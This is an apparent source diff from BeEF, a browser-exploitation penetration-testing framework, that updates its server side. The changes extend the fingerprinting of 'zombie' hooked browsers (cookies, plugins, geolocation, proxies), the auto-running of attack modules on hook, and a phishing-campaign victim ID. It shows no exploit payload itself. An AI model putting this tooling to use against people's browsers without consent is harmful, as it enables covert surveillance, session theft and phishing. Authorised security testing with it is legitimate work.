# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -22,14 +22,14 @@ module BeEF
|
||||
# @param [String] configuration_file Configuration file to be loaded, by default loads $root_dir/config.yaml
|
||||
def initialize(config)
|
||||
raise Exception::TypeError, '"config" needs to be a string' if not config.string?
|
||||
raise Exception::TypeError, 'Configuration yaml cannot be found' if not File.exist?(config)
|
||||
raise Exception::TypeError, "Configuration file '#{config}' cannot be found" if not File.exist?(config)
|
||||
begin
|
||||
#open base config
|
||||
@config = self.load(config)
|
||||
# set default value if key? does not exist
|
||||
@config.default = nil
|
||||
@@config = config
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_error "Fatal Error: cannot load configuration file"
|
||||
print_debug e
|
||||
end
|
||||
@@ -44,7 +44,7 @@ module BeEF
|
||||
return nil if not File.exists?(file)
|
||||
raw = File.read(file)
|
||||
return YAML.load(raw)
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_debug "Unable to load '#{file}' #{e}"
|
||||
return nil
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -86,7 +86,7 @@ module Banners
|
||||
print_success "running on network interface: #{host}"
|
||||
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
|
||||
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
|
||||
|
||||
print_more data
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -18,6 +18,7 @@ module BeEF
|
||||
@options[:ext_config] = ""
|
||||
@options[:port] = ""
|
||||
@options[:ws_port] = ""
|
||||
@options[:interactive] = false
|
||||
|
||||
|
||||
@already_parsed = false
|
||||
@@ -54,6 +55,10 @@ module BeEF
|
||||
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
|
||||
@options[:ws_port] = ws_port
|
||||
end
|
||||
|
||||
opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do
|
||||
@options[:interactive] = true
|
||||
end
|
||||
end
|
||||
|
||||
optparse.parse!
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -7,75 +7,75 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
|
||||
module Browsers
|
||||
|
||||
FF = 'FF' # Firefox
|
||||
M = 'M' # Mozila
|
||||
IE = 'IE' # Internet Explorer
|
||||
S = 'S' # Safari
|
||||
K = 'K' # Konqueror
|
||||
C = 'C' # Chrome
|
||||
FF = 'FF' # Firefox
|
||||
M = 'M' # Mozilla
|
||||
IE = 'IE' # Internet Explorer
|
||||
S = 'S' # Safari
|
||||
K = 'K' # Konqueror
|
||||
C = 'C' # Chrome
|
||||
O = 'O' # Opera
|
||||
ALL = 'ALL' # ALL
|
||||
UNKNOWN = 'UN' # Unknown
|
||||
|
||||
FRIENDLY_FF_NAME = 'Firefox'
|
||||
FRIENDLY_M_NAME = 'Mozila'
|
||||
FRIENDLY_IE_NAME = 'Internet Explorer'
|
||||
FRIENDLY_S_NAME = 'Safari'
|
||||
FRIENDLY_K_NAME = 'Konqueror'
|
||||
FRIENDLY_C_NAME = 'Chrome'
|
||||
ALL = 'ALL' # ALL
|
||||
UNKNOWN = 'UN' # Unknown
|
||||
|
||||
FRIENDLY_FF_NAME = 'Firefox'
|
||||
FRIENDLY_M_NAME = 'Mozilla'
|
||||
FRIENDLY_IE_NAME = 'Internet Explorer'
|
||||
FRIENDLY_S_NAME = 'Safari'
|
||||
FRIENDLY_K_NAME = 'Konqueror'
|
||||
FRIENDLY_C_NAME = 'Chrome'
|
||||
FRIENDLY_O_NAME = 'Opera'
|
||||
FRIENDLY_UN_NAME = "UNKNOWN"
|
||||
|
||||
# Attempt to retrieve a browsers friendly name
|
||||
FRIENDLY_UN_NAME = 'UNKNOWN'
|
||||
|
||||
# Attempt to retrieve a browser's friendly name
|
||||
# @param [String] browser_name Short browser name
|
||||
# @return [String] Friendly browser name
|
||||
def self.friendly_name(browser_name)
|
||||
|
||||
case browser_name
|
||||
when FF; return FRIENDLY_FF_NAME
|
||||
when M; return FRIENDLY_M_NAME
|
||||
when IE; return FRIENDLY_IE_NAME
|
||||
when S; return FRIENDLY_S_NAME
|
||||
when K; return FRIENDLY_K_NAME
|
||||
when C; return FRIENDLY_C_NAME
|
||||
when O; return FRIENDLY_O_NAME
|
||||
def self.friendly_name(browser_name)
|
||||
|
||||
case browser_name
|
||||
when FF; return FRIENDLY_FF_NAME
|
||||
when M ; return FRIENDLY_M_NAME
|
||||
when IE; return FRIENDLY_IE_NAME
|
||||
when S ; return FRIENDLY_S_NAME
|
||||
when K ; return FRIENDLY_K_NAME
|
||||
when C ; return FRIENDLY_C_NAME
|
||||
when O ; return FRIENDLY_O_NAME
|
||||
when UNKNOWN; return FRIENDLY_UN_NAME
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Attempt to match the browserstring to a browser constant
|
||||
# @param [String] browserstring Browser UA string
|
||||
# @return [Array] An array of matching browser constants
|
||||
# @todo Confirm this function returns an array if multiple constants are matched
|
||||
def self.match_browser(browserstring)
|
||||
matches = []
|
||||
browserstring.split(" ").each do |chunk|
|
||||
case chunk
|
||||
when /Firefox/ , /FF/
|
||||
matches << FF
|
||||
when /Mozilla/
|
||||
matches << M
|
||||
when /Internet Explorer/, /IE/
|
||||
matches << IE
|
||||
when /Safari/
|
||||
matches << S
|
||||
when /Konqueror/
|
||||
matches << K
|
||||
when /Chrome/
|
||||
matches << C
|
||||
when /Opera/
|
||||
matches << O
|
||||
end
|
||||
end
|
||||
matches.uniq
|
||||
end
|
||||
def self.match_browser(browserstring)
|
||||
matches = []
|
||||
browserstring.split(" ").each do |chunk|
|
||||
case chunk
|
||||
when /Firefox/, /FF/
|
||||
matches << FF
|
||||
when /Mozilla/
|
||||
matches << M
|
||||
when /Internet Explorer/, /IE/
|
||||
matches << IE
|
||||
when /Safari/
|
||||
matches << S
|
||||
when /Konqueror/
|
||||
matches << K
|
||||
when /Chrome/
|
||||
matches << C
|
||||
when /Opera/
|
||||
matches << O
|
||||
end
|
||||
end
|
||||
matches.uniq
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -12,6 +12,8 @@ module Constants
|
||||
module Hardware
|
||||
|
||||
HW_UNKNOWN_IMG = 'pc.png'
|
||||
HW_VM_IMG = 'vm.png'
|
||||
HW_LAPTOP_IMG = 'laptop.png'
|
||||
HW_IPHONE_UA_STR = 'iPhone'
|
||||
HW_IPHONE_IMG = 'iphone.jpg'
|
||||
HW_IPAD_UA_STR = 'iPad'
|
||||
@@ -32,8 +34,8 @@ module Constants
|
||||
HW_HTC_IMG = 'htc.ico'
|
||||
HW_MOTOROLA_UA_STR = 'motorola'
|
||||
HW_MOTOROLA_IMG = 'motorola.png'
|
||||
HW_GOOGLE_UA_STR = 'Nexus One'
|
||||
HE_GOOGLE_IM = 'nexus.png'
|
||||
HW_GOOGLE_UA_STR = 'Nexus'
|
||||
HW_GOOGLE_IMG = 'nexus.png'
|
||||
HW_ERICSSON_UA_STR = 'Ericsson'
|
||||
HW_ERICSSON_IMG = 'sony_ericsson.png'
|
||||
HW_ALL_UA_STR = 'All'
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -39,6 +39,23 @@ module Core
|
||||
config.set('beef.api_token', token)
|
||||
token
|
||||
end
|
||||
|
||||
# Generates a unique identifier for DNS rules.
|
||||
#
|
||||
# @return [String] 8-character hex identifier
|
||||
def self.dns_rule_id
|
||||
id = nil
|
||||
length = 4
|
||||
|
||||
begin
|
||||
id = OpenSSL::Random.random_bytes(length).unpack('H*')[0]
|
||||
BeEF::Core::Models::Dns::Rule.each { |rule| throw StandardError if id == rule.id }
|
||||
rescue StandardError
|
||||
retry
|
||||
end
|
||||
|
||||
id.to_s
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -24,6 +24,9 @@ module BeEF
|
||||
end
|
||||
|
||||
def setup()
|
||||
print_debug "[INIT] Processing Browser Details..."
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# validate hook session value
|
||||
session_id = get_param(@data, 'beefhook')
|
||||
(self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id)
|
||||
@@ -35,10 +38,17 @@ module BeEF
|
||||
zombie.firstseen = Time.new.to_i
|
||||
|
||||
# hostname
|
||||
log_zombie_port = 0
|
||||
if not @data['results']['HostName'].nil? then
|
||||
log_zombie_domain=@data['results']['HostName']
|
||||
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
|
||||
log_zombie_domain=@data['request'].referer.gsub('http://', '').gsub('https://', '').split('/')[0]
|
||||
referer = @data['request'].referer
|
||||
if referer.start_with?("https://") then
|
||||
log_zombie_port = 443
|
||||
else
|
||||
log_zombie_port = 80
|
||||
end
|
||||
log_zombie_domain=referer.gsub('http://', '').gsub('https://', '').split('/')[0]
|
||||
else
|
||||
log_zombie_domain="unknown" # Probably local file open
|
||||
end
|
||||
@@ -48,7 +58,6 @@ module BeEF
|
||||
log_zombie_port=@data['results']['HostPort']
|
||||
else
|
||||
log_zombie_domain_parts=log_zombie_domain.split(':')
|
||||
log_zombie_port=80
|
||||
if log_zombie_domain_parts.length > 1 then
|
||||
log_zombie_port=log_zombie_domain_parts[1].to_i
|
||||
end
|
||||
@@ -59,12 +68,13 @@ module BeEF
|
||||
|
||||
#Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
|
||||
@http_headers = Hash.new
|
||||
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
|
||||
.each {|key,value|
|
||||
@http_headers[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }
|
||||
.each { |key, value|
|
||||
@http_headers[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
zombie.httpheaders = @http_headers.to_json
|
||||
zombie.save
|
||||
#print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
|
||||
@@ -76,6 +86,101 @@ module BeEF
|
||||
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# lookup zombie host name
|
||||
ip_str = zombie.ip
|
||||
if config.get('beef.dns_hostname_lookup')
|
||||
begin
|
||||
require 'resolv'
|
||||
host_name = Resolv.getname(zombie.ip).to_s
|
||||
if BeEF::Filters.is_valid_hostname?(host_name)
|
||||
ip_str += " [#{host_name}]"
|
||||
end
|
||||
rescue
|
||||
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
|
||||
end
|
||||
end
|
||||
BD.set(session_id, 'IP', ip_str)
|
||||
|
||||
# geolocation
|
||||
if config.get('beef.geoip.enable')
|
||||
require 'geoip'
|
||||
geoip_file = config.get('beef.geoip.database')
|
||||
if File.exists? geoip_file
|
||||
geoip = GeoIP.new(geoip_file).city(zombie.ip)
|
||||
if geoip.nil?
|
||||
print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'"
|
||||
else
|
||||
#print_debug "[INIT] Geolocation results: #{geoip}"
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
|
||||
BD.set(session_id, 'LocationCity', "#{geoip['city_name']}")
|
||||
BD.set(session_id, 'LocationCountry', "#{geoip['country_name']}")
|
||||
BD.set(session_id, 'LocationCountryCode2', "#{geoip['country_code2']}")
|
||||
BD.set(session_id, 'LocationCountryCode3', "#{geoip['country_code3']}")
|
||||
BD.set(session_id, 'LocationContinentCode', "#{geoip['continent_code']}")
|
||||
BD.set(session_id, 'LocationPostCode', "#{geoip['postal_code']}")
|
||||
BD.set(session_id, 'LocationLatitude', "#{geoip['latitude']}")
|
||||
BD.set(session_id, 'LocationLongitude', "#{geoip['longitude']}")
|
||||
BD.set(session_id, 'LocationDMACode', "#{geoip['dma_code']}")
|
||||
BD.set(session_id, 'LocationAreaCode', "#{geoip['area_code']}")
|
||||
BD.set(session_id, 'LocationTimezone', "#{geoip['timezone']}")
|
||||
BD.set(session_id, 'LocationRegionName', "#{geoip['real_region_name']}")
|
||||
end
|
||||
else
|
||||
print_error "[INIT] Geolocation failed - Could not find MaxMind GeoIP database '#{geoip_file}'"
|
||||
print_more "Download: http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
|
||||
end
|
||||
end
|
||||
|
||||
# detect browser proxy
|
||||
using_proxy = false
|
||||
[
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'PROXY_CONNECTION',
|
||||
'PROXY_AUTHENTICATE',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR',
|
||||
'VIA'
|
||||
].each do |header|
|
||||
unless JSON.parse(zombie.httpheaders)[header].nil?
|
||||
using_proxy = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# retrieve proxy client IP
|
||||
proxy_clients = []
|
||||
[
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR'
|
||||
].each do |header|
|
||||
proxy_clients << "#{JSON.parse(zombie.httpheaders)[header]}" unless JSON.parse(zombie.httpheaders)[header].nil?
|
||||
end
|
||||
|
||||
# retrieve proxy server
|
||||
proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
|
||||
|
||||
# store and log proxy details
|
||||
if using_proxy == true
|
||||
BD.set(session_id, 'UsingProxy', "#{using_proxy}")
|
||||
proxy_log_string = "#{zombie.ip} is using a proxy"
|
||||
unless proxy_clients.empty?
|
||||
BD.set(session_id, 'ProxyClient', "#{proxy_clients.sort.uniq.join(',')}")
|
||||
proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]"
|
||||
end
|
||||
unless proxy_server.nil?
|
||||
BD.set(session_id, 'ProxyServer', "#{proxy_server}")
|
||||
proxy_log_string += " [server: #{proxy_server}]"
|
||||
end
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}")
|
||||
end
|
||||
|
||||
# get and store browser version
|
||||
browser_version = get_param(@data['results'], 'BrowserVersion')
|
||||
if BeEF::Filters.is_valid_browserversion?(browser_version)
|
||||
@@ -92,6 +197,10 @@ module BeEF
|
||||
self.err_msg "Invalid browser string returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store browser language
|
||||
browser_lang = get_param(@data['results'], 'BrowserLanguage')
|
||||
BD.set(session_id, 'BrowserLanguage', browser_lang)
|
||||
|
||||
# get and store the cookies
|
||||
cookies = get_param(@data['results'], 'Cookies')
|
||||
if BeEF::Filters.is_valid_cookies?(cookies)
|
||||
@@ -108,6 +217,10 @@ module BeEF
|
||||
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store default browser
|
||||
default_browser = get_param(@data['results'], 'DefaultBrowser')
|
||||
BD.set(session_id, 'DefaultBrowser', default_browser)
|
||||
|
||||
# get and store the hardware name
|
||||
hw_name = get_param(@data['results'], 'Hardware')
|
||||
if BeEF::Filters.is_valid_hwname?(hw_name)
|
||||
@@ -165,11 +278,11 @@ module BeEF
|
||||
end
|
||||
|
||||
# get and store the system platform
|
||||
system_platform = get_param(@data['results'], 'SystemPlatform')
|
||||
system_platform = get_param(@data['results'], 'BrowserPlatform')
|
||||
if BeEF::Filters.is_valid_system_platform?(system_platform)
|
||||
BD.set(session_id, 'SystemPlatform', system_platform)
|
||||
BD.set(session_id, 'BrowserPlatform', system_platform)
|
||||
else
|
||||
self.err_msg "Invalid system platform returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the hooked browser type
|
||||
@@ -196,76 +309,36 @@ module BeEF
|
||||
self.err_msg "Invalid window size returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for JavaEnabled
|
||||
java_enabled = get_param(@data['results'], 'JavaEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(java_enabled)
|
||||
BD.set(session_id, 'JavaEnabled', java_enabled)
|
||||
else
|
||||
self.err_msg "Invalid value for JavaEnabled returned from the hook browser's initial connection."
|
||||
# get and store the yes|no value for browser components
|
||||
components = [
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasFoxit', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'hasSessionCookies', 'hasPersistentCookies'
|
||||
]
|
||||
components.each do |k|
|
||||
v = get_param(@data['results'], k)
|
||||
if BeEF::Filters.is_valid_yes_no?(v)
|
||||
BD.set(session_id, k, v)
|
||||
else
|
||||
self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
|
||||
end
|
||||
end
|
||||
|
||||
# get and store the yes|no value for VBScriptEnabled
|
||||
vbscript_enabled = get_param(@data['results'], 'VBScriptEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(vbscript_enabled)
|
||||
BD.set(session_id, 'VBScriptEnabled', vbscript_enabled)
|
||||
# get and store the value for CPU
|
||||
cpu_type = get_param(@data['results'], 'CPU')
|
||||
if BeEF::Filters.is_valid_cpu?(cpu_type)
|
||||
BD.set(session_id, 'CPU', cpu_type)
|
||||
else
|
||||
self.err_msg "Invalid value for VBScriptEnabled returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasFlash
|
||||
has_flash = get_param(@data['results'], 'HasFlash')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_flash)
|
||||
BD.set(session_id, 'HasFlash', has_flash)
|
||||
# get and store the value for TouchEnabled
|
||||
touch_enabled = get_param(@data['results'], 'TouchEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(touch_enabled)
|
||||
BD.set(session_id, 'TouchEnabled', touch_enabled)
|
||||
else
|
||||
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasPhonegap
|
||||
has_phonegap = get_param(@data['results'], 'HasPhonegap')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_phonegap)
|
||||
BD.set(session_id, 'HasPhonegap', has_phonegap)
|
||||
else
|
||||
self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasGoogleGears
|
||||
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
|
||||
BD.set(session_id, 'HasGoogleGears', has_googlegears)
|
||||
else
|
||||
self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasWebSocket
|
||||
has_web_socket = get_param(@data['results'], 'HasWebSocket')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_web_socket)
|
||||
BD.set(session_id, 'HasWebSocket', has_web_socket)
|
||||
else
|
||||
self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasActiveX
|
||||
has_activex = get_param(@data['results'], 'HasActiveX')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_activex)
|
||||
BD.set(session_id, 'HasActiveX', has_activex)
|
||||
else
|
||||
self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store whether the browser has session cookies enabled
|
||||
has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
|
||||
BD.set(session_id, 'hasSessionCookies', has_session_cookies)
|
||||
else
|
||||
self.err_msg "Invalid value for hasSessionCookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store whether the browser has persistent cookies enabled
|
||||
has_persistent_cookies = get_param(@data['results'], 'hasPersistentCookies')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_persistent_cookies)
|
||||
BD.set(session_id, 'hasPersistentCookies', has_persistent_cookies)
|
||||
else
|
||||
self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# log a few info of newly hooked zombie in the console
|
||||
@@ -273,19 +346,35 @@ module BeEF
|
||||
|
||||
|
||||
# Call autorun modules
|
||||
autorun = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
|
||||
if v.has_key?('autorun') and v['autorun'] == true
|
||||
if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
else
|
||||
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
|
||||
if config.get('beef.autorun.enable')
|
||||
autorun = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
|
||||
if v.has_key?('autorun') and v['autorun'] == true
|
||||
target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name})
|
||||
if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify')
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
else
|
||||
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
|
||||
end
|
||||
end
|
||||
}
|
||||
if autorun.length > 0
|
||||
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
|
||||
end
|
||||
end
|
||||
|
||||
if config.get('beef.integration.phishing_frenzy.enable')
|
||||
# get and store the browser plugins
|
||||
victim_uid = get_param(@data['results'], 'PhishingFrenzyUID')
|
||||
if BeEF::Filters.alphanums_only?(victim_uid)
|
||||
BD.set(session_id, 'PhishingFrenzyUID', victim_uid)
|
||||
else
|
||||
self.err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection."
|
||||
end
|
||||
}
|
||||
if autorun.length > 0
|
||||
print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -51,13 +51,25 @@ module Handlers
|
||||
|
||||
# @note is a known browser so send instructions
|
||||
else
|
||||
# @note Check if we haven't seen this browser for a while, log an event if we haven't
|
||||
if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
|
||||
BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}")
|
||||
end
|
||||
|
||||
# @note record the last poll from the browser
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
|
||||
# @note Check for a change in zombie IP and log an event
|
||||
if hooked_browser.ip != request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.ip
|
||||
if config.get('beef.http.use_x_forward_for') == true
|
||||
if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"]
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"]
|
||||
end
|
||||
else
|
||||
if hooked_browser.ip != request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.ip
|
||||
end
|
||||
end
|
||||
|
||||
hooked_browser.count!
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -21,22 +21,28 @@ module BeEF
|
||||
beef_js_path = "#{$root_dir}/core/main/client/"
|
||||
|
||||
